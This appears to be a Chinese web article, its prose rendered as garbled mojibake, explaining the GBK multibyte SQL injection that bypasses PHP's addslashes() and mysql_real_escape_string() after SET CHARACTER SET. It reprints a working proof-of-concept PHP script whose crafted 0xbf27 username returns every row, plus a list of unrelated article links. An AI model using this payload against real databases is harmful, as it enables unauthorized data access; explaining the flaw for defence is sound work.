PHP�ַ�GBK����©���ܽ�
��ʵ�ⶫ�����������ڿ�����֪����ֻ����û�й����������ѡ���Щ���Dz�Ը��������Ը���ڵ��������һЩ��������IJ����
��©������2006�걻���������������ݿ��ַ�����ΪGBKʱ��0xbf27��������һ����Ч��GBK�ַ��������� addslashes() ת������Ϊ0xbf5c27��ǰ����0xbf5c�Ǹ���Ч��GBK�ַ�������0xbf5c27�ᱻ����һ���ַ�0xbf5c��һ��������������������©���ʹ����ˡ�
mysql_real_escape_string() Ҳ������ͬ�����⣬ֻ�������� addslashes() �����ǵ�����ʲô�ַ��������������˿�������Ӧ���ַ����������ַ�����MySQL �������ָı�Ĭ���ַ����ķ�����
����һ��
�ı�mysql�����ļ�my.cnf
[client]
default-character-set=GBK
��������
�ڽ�������ʱʹ��
SET CHARACTER SET 'GBK'
����mysql_query("SET CHARACTER SET 'gbk'", $c);
�����Ƿ������ڸı��ַ���ʱmysql_real_escape_string() ����֪����ʹ��Ĭ���ַ��������Ӷ����ɺ� addslashes() һ����©��
����������http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html�IJ��Դ���
<?php
$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';
// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);
$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>
�ݹ��������ִ���©���Ĺؼ���addslashes() ��Mysql����ΪGBKʱ�Ϳ��Դ���©������mysql_real_escape_string() ���ڲ�֪���ַ�������������Ĭ���ַ�����������©���ġ�
- ת����ע����Դ��ITѧϰ�� ��ַ��http://www.t086.com/ �����������Ƽ�������
- �ر������� ��վ�������ر�������ֹת�ص�ר�������������¿�������ת�أ���������ע��������ԭʼ���ߡ����°�Ȩ������ԭʼ�������С����ڱ���վת�����µĸ��˺���վ�����DZ�ʾ������л�⡣������վת�ص������а�Ȩ��������ϵ���ǣ����ǻᾡ�����Ը�����
- �������е���ɫ
- �������ж�IP��ַ��A��B���C��
- ������ϵ��Ц�� (ʷ����ȫ��
- ��Google���������ŵ���ͨv4.0
- ���ٶ�ͳ��URL��hm������utm�����Ķ�Ӧ��ϵ
- ��ƻ������MACbook Air���ݼ���ȫ
- ��Linux��ʹ��host��dig��nslookup��ѯDNS
- �����Լ���VPS�Google��������
- ���������ԡ���װ Windows XP ����ϵͳ��ͼ��ȫ����
- ��С�ڴ�VPS֮Nginx+PHP-fpm�߸����Ż���ѹ�����Է���